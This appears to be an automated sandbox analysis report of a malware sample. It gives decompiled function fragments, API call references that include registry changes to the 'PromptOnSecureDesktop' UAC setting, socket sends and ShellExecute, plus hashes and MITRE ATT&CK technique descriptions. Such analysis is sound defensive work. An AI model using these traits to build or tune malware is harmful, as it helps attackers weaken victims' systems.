Instruction ID: d060dffd57cd8fe348c165fdd4331756e5a35a09dee74b7d36675e46cecb3545
Opcode Fuzzy Hash: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction Fuzzy Hash: 29F062716007029BCB30CF25D884AD2B7EAFB15721B44866AE174C3660D3B5A9E4CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 0064E3C7, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000001,006444CB,00000000,00000000,00000000), ref: 0064E459
CloseHandle.KERNEL32(00000001,00000003), ref: 0064E46D

Part of subcall function 0064E2E5: RegCreateKeyExA.ADVAPI32(80000001,0064E4F3,00000000,00000000,00000000,00020106,00000000,0064E4F3,00000000,000000E4), ref: 0064E302
Part of subcall function 0064E2E5: RegSetValueExA.ADVAPI32(0064E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0064E377
Part of subcall function 0064E2E5: RegDeleteValueA.ADVAPI32(0064E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0064E3A8
Part of subcall function 0064E2E5: RegCloseKey.ADVAPI32(0064E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0064E4F3), ref: 0064E3B1

Strings

PromptOnSecureDesktop, xrefs: 0064E4DA, 0064E4DF, 0064E520, 0064E54A

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction ID: 7b76cd72496c3c33975a5579e31a363dde5bde0bdfb756dfbe8f6a249481603d
Opcode Fuzzy Hash: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction Fuzzy Hash: 4041DD72940204BAEB24AF618C46FEF3B6DFF04754F148079FA0994192F7B68A50D6B9

Uniqueness

Uniqueness Score: -1.00%

Function 00648319, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?), ref: 006483AF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?), ref: 00648460

Part of subcall function 006469AC: SetFileAttributesA.KERNEL32(?,00000080), ref: 006469CE
Part of subcall function 006469AC: SetFileAttributesA.KERNEL32(?,00000002), ref: 00646A0F
Part of subcall function 006469AC: GetFileSize.KERNEL32(000000FF,00000000), ref: 00646A23

Part of subcall function 0064EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,00641DB8,?), ref: 0064EE91
Part of subcall function 0064EE7E: HeapFree.KERNEL32(00000000), ref: 0064EE98

Strings

PromptOnSecureDesktop, xrefs: 0064839B, 006483A0, 0064846C

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 359188348-2980165447
Opcode ID: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction ID: 493b8e8c99b25a4474565e7f2863255e115e01ac12da4a1ecb06a8d38f52ec1b
Opcode Fuzzy Hash: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction Fuzzy Hash: 6D4171B290010ABFEB20EFA09D81DFF7BAEEB04700F14447AF604E7111EAB45E948B55

Uniqueness

Uniqueness Score: -1.00%

Function 0064E61A, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0064E842,00000000,00020119,0064E842,PromptOnSecureDesktop), ref: 0064E636
RegCloseKey.ADVAPI32(0064E842,?,?,?,?,000000C8,000000E4), ref: 0064E770

Strings

PromptOnSecureDesktop, xrefs: 0064E620

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 47109696-2980165447
Opcode ID: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction ID: a22abd0dd489c1ac06e54b56f67c94ada8dcea5bee67b629a18bf12b94f6ac2a
Opcode Fuzzy Hash: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction Fuzzy Hash: 534108B2D0021DBFEF11AFA4DC81DEEBBBEFB14304F144466E910B2151E7329A558B60

Uniqueness

Uniqueness Score: -1.00%

Function 0064AFD9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0064AFE8
SystemTimeToFileTime.KERNEL32(?,?), ref: 0064AFF6

Part of subcall function 0064AF58: gethostname.WS2_32(?,00000080), ref: 0064AF6C
Part of subcall function 0064AF58: lstrcpy.KERNEL32(?,00410B90), ref: 0064AFCF

Part of subcall function 00643305: gethostname.WS2_32(?,00000080), ref: 00643328
Part of subcall function 00643305: gethostbyname.WS2_32(?), ref: 00643332

Part of subcall function 0064A9F3: inet_ntoa.WS2_32(00000000), ref: 0064A9F9

Strings

%OUTLOOK_BND_, xrefs: 0064B05F, 0064B064, 0064B0A7, 0064B0C6

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Time$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %OUTLOOK_BND_
API String ID: 1981676241-3684217054
Opcode ID: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction ID: 9f27549e818c1676556958daed5a166328ea99c8c5e846be9a4c4f008811811f
Opcode Fuzzy Hash: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction Fuzzy Hash: 904131B290024CBBDF65EFA0DC46EEF3BAEFB04300F14442AB92592152EB75D954CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0064943B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119sleepCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000022,00000000,00000000), ref: 0064951F
Sleep.KERNEL32(000001F4), ref: 00649546

Strings

, xrefs: 006494C2

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-3916222277
Opcode ID: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction ID: f50e883596adc55c6979ea7645f5ea0b1d098d4af44a929f05dfbbaecb95fb99
Opcode Fuzzy Hash: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction Fuzzy Hash: C14144718883846EEF3A8764D88C7F73FE69B03310F2841E9D0968B292D6B44D82C771

Uniqueness

Uniqueness Score: -1.00%

Function 0064BBE0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0064BB82
InterlockedIncrement.KERNEL32(?), ref: 0064BDFE

Strings

0t, xrefs: 0064BB82

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick
String ID: 0t
API String ID: 2903770966-1355922044
Opcode ID: a04ee2a2c9cdc85e6bbe75af223a59f82e01217bbc2cf6c0f0167175ccb8fb12
Instruction ID: 8b99f0e78799e50725e8ec86a87cfe1af80d5653cf938827761bfd1d193ee6b3
Opcode Fuzzy Hash: a04ee2a2c9cdc85e6bbe75af223a59f82e01217bbc2cf6c0f0167175ccb8fb12
Instruction Fuzzy Hash: 0341D371800258EFDF35EF64DC85BEA37EAEB44700F60545AF92482252EB30CA81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0064294F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0064297E
sendto.WS2_32(?,00412BF8,00000009,00000000,?,00000010), ref: 00642A52

Part of subcall function 0064EE1C: GetProcessHeap.KERNEL32(00000000,00000000,00000000,0064EE4E,?,?,00641D5E,?,?), ref: 0064EE23
Part of subcall function 0064EE1C: RtlAllocateHeap.NTDLL(00000000,?,00641D5E), ref: 0064EE2A

Strings

0t, xrefs: 0064297E

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCountProcessTicksendto
String ID: 0t
API String ID: 1419455383-1355922044
Opcode ID: 0403605264f70e2ba04ed5eb857e1fa34a4c1028b668a0d3736469d5bfe16290
Instruction ID: 3d6ce0f1a46c6f8fb55523c4ede38275a2a8d15dc4cf21dc56625c3a2d55f9e7
Opcode Fuzzy Hash: 0403605264f70e2ba04ed5eb857e1fa34a4c1028b668a0d3736469d5bfe16290
Instruction Fuzzy Hash: B63126342483929FD7108F74DC50AE67B65FF19314B2980BDE955CB362D6B2E892D708

Uniqueness

Uniqueness Score: -1.00%

Function 0064BD7A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 0064B615: wsprintfA.USER32 ref: 0064B6B7

GetTickCount.KERNEL32 ref: 0064B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0064BA23
InterlockedIncrement.KERNEL32(?), ref: 0064BA7D
GetTickCount.KERNEL32 ref: 0064BB62
GetTickCount.KERNEL32 ref: 0064BB82
InterlockedIncrement.KERNEL32(?), ref: 0064BDFE
closesocket.WS2_32(00000000), ref: 0064BE9D

Strings

0t, xrefs: 0064BB82

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocketwsprintf
String ID: 0t
API String ID: 4077942794-1355922044
Opcode ID: 807286dfab293aa3b35cedfe51c725f4e5163db31e78ef99f1cf7ca87fcdd825
Instruction ID: 39d3dd28b0ea0783bb773e6e4f2d2a1e50449249b8c46a6882be714c4c91e03c
Opcode Fuzzy Hash: 807286dfab293aa3b35cedfe51c725f4e5163db31e78ef99f1cf7ca87fcdd825
Instruction Fuzzy Hash: 7E318D31804248EFDF65DFA4DC84AED7BAAFF48700F205459FA2482261EB32DA85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0064BDB9, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0064B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0064BA23
InterlockedIncrement.KERNEL32(?), ref: 0064BA7D
GetTickCount.KERNEL32 ref: 0064BB62
GetTickCount.KERNEL32 ref: 0064BB82
InterlockedIncrement.KERNEL32(?), ref: 0064BDFE
closesocket.WS2_32(00000000), ref: 0064BE9D

Strings

0t, xrefs: 0064BB82

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 1d618aaef58b3ab215079b9b31fa447b3856f6d26cbe6ee9946270808dfc3956
Instruction ID: 3ee8e09dceaa9402d0243c2d25d2c1b6b80e4cb4a7ed98c1ec055fb0ddc2f5a9
Opcode Fuzzy Hash: 1d618aaef58b3ab215079b9b31fa447b3856f6d26cbe6ee9946270808dfc3956
Instruction Fuzzy Hash: 5221B231800288DFDF64DFA4DC84AE93BE6FB84701F20506AF92482261EB31DA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0064BBCD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0064B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0064BA23
InterlockedIncrement.KERNEL32(?), ref: 0064BA7D
GetTickCount.KERNEL32 ref: 0064BB62
GetTickCount.KERNEL32 ref: 0064BB82
InterlockedIncrement.KERNEL32(?), ref: 0064BDFE
closesocket.WS2_32(00000000), ref: 0064BE9D

Strings

0t, xrefs: 0064BB82

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 9b58e820c96e30bea9cf8a5773d901c602008467136ce8ddc7967acdf40d357b
Instruction ID: 010553332ed2620ccd01cbc50b81afa3fc8600bf14fc0e027fb5c525df9dd875
Opcode Fuzzy Hash: 9b58e820c96e30bea9cf8a5773d901c602008467136ce8ddc7967acdf40d357b
Instruction Fuzzy Hash: 2221C471804248DFDF75DFA4DC84AE937EAEF48740F20505AFA2482261EB31DA81CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0064BD60, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0064B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0064BA23
InterlockedIncrement.KERNEL32(?), ref: 0064BA7D
GetTickCount.KERNEL32 ref: 0064BB62
GetTickCount.KERNEL32 ref: 0064BB82
InterlockedIncrement.KERNEL32(?), ref: 0064BDFE
closesocket.WS2_32(00000000), ref: 0064BE9D

Strings

0t, xrefs: 0064BB82

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 1ad4ab0cef1100dab09d35a4997a37f06c5e750f14e9eb7400ff0985812ffdd9
Instruction ID: 1e6ecc08376fb9e5932d3c02ef322b340d807af1f50dfa37e8ed2b4b39f2b09c
Opcode Fuzzy Hash: 1ad4ab0cef1100dab09d35a4997a37f06c5e750f14e9eb7400ff0985812ffdd9
Instruction Fuzzy Hash: A921AF31800248DFDF65DFA4DC88AEA77E6EB88701F20505AFA2482261EB31DA85CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0064BBB0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0064B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0064BA23
InterlockedIncrement.KERNEL32(?), ref: 0064BA7D
GetTickCount.KERNEL32 ref: 0064BB62
GetTickCount.KERNEL32 ref: 0064BB82
InterlockedIncrement.KERNEL32(?), ref: 0064BDFE
closesocket.WS2_32(00000000), ref: 0064BE9D

Strings

0t, xrefs: 0064BB82

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 9ae727bc03e3a647016d1a17286895492352c477f613c7904a32ac3000c388d7
Instruction ID: 2988795a95afd40163a84985aa9ca05799edf0b5bdeb410767539e6bb18462f3
Opcode Fuzzy Hash: 9ae727bc03e3a647016d1a17286895492352c477f613c7904a32ac3000c388d7
Instruction Fuzzy Hash: 7021B071804248DFDF65DFA4DC849FA37EAEF88741F20546AFA2482261EB31DA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00648F3E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00648F52
GetTickCount.KERNEL32 ref: 00648FF1

Strings

0t, xrefs: 00648F52, 00648FF1

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: 0t
API String ID: 536389180-1355922044
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: b6faf933435c9289938f1a526fb4d7791f59eb49ad111d7a3358fbbd6c83d5be
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 1121A232A00215AFDB509FA8D8956DEBBBBFB10391B2541AAE911DB211CF30EA44C758

Uniqueness

Uniqueness Score: -1.00%

Function 00429321, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 004293D4

Strings

t/j, xrefs: 004293C1
jjj, xrefs: 00429370

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _strlen
String ID: jjj$t/j
API String ID: 4218353326-194299851
Opcode ID: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction ID: ca19772cbce7761e7df6c54f5ee1bf56ddb47101c5fdaf61fe7de366c30c7962
Opcode Fuzzy Hash: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction Fuzzy Hash: 9121A174A00118FBEB24CF89F985B6D3370FB58304FA0816AE906572D1D3799F54DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0064C21E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0064C220
wsprintfA.USER32 ref: 0064C2B0

Strings

0t, xrefs: 0064C220

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: 0t
API String ID: 2424974917-1355922044
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00647086, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 006470A5
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,?,?), ref: 006470DD

Strings

|, xrefs: 006470CF

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID: |
API String ID: 2370142434-2343686810
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: 27b91a6c8be688c87d22c460ece48ce2ab3a13d1446de843724cc758bcbdfa0a
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: CE112A72904158EBDF22DFD5CC84EDEB7BDAB05301F1841A6E502E3190D7709B88CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041C01D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0041C04D

Strings

hH"@, xrefs: 0041C043
hl"@, xrefs: 0041C048

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __invalid_parameter
String ID: hH"@$hl"@
API String ID: 3730194576-4139822927
Opcode ID: 4a7b0f86d43a67d1b164e9bd17ab24421b95f91c2e2d177ed16e6841018f1ec3
Instruction ID: dce0fb2020e8df7f68f9974034910ded933c9e65b34b4ff84df3cafd5479634d
Opcode Fuzzy Hash: 4a7b0f86d43a67d1b164e9bd17ab24421b95f91c2e2d177ed16e6841018f1ec3
Instruction Fuzzy Hash: 26D05B70BD0204F5D91035D09D4BB563650571A705F7505EBF509751C1D5FE559081BE

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,74B5F210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,74B5F210,80000001), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 00643172, Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00642F71: GetModuleHandleA.KERNEL32(?), ref: 00642F8A
Part of subcall function 00642F71: LoadLibraryA.KERNEL32(?), ref: 00642F9A

GetProcessHeap.KERNEL32(00000000,00000000), ref: 006431C3
HeapFree.KERNEL32(00000000), ref: 006431CA

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction ID: 93db362165434d7fef1c6f5e98079baa220b28f911b4207c7c8929b503dc1c71
Opcode Fuzzy Hash: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction Fuzzy Hash: B2519B7190025AAFCF01DF64D8889FAB7B6FF15304B1445A9EC96C7310E7729B19CB84

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
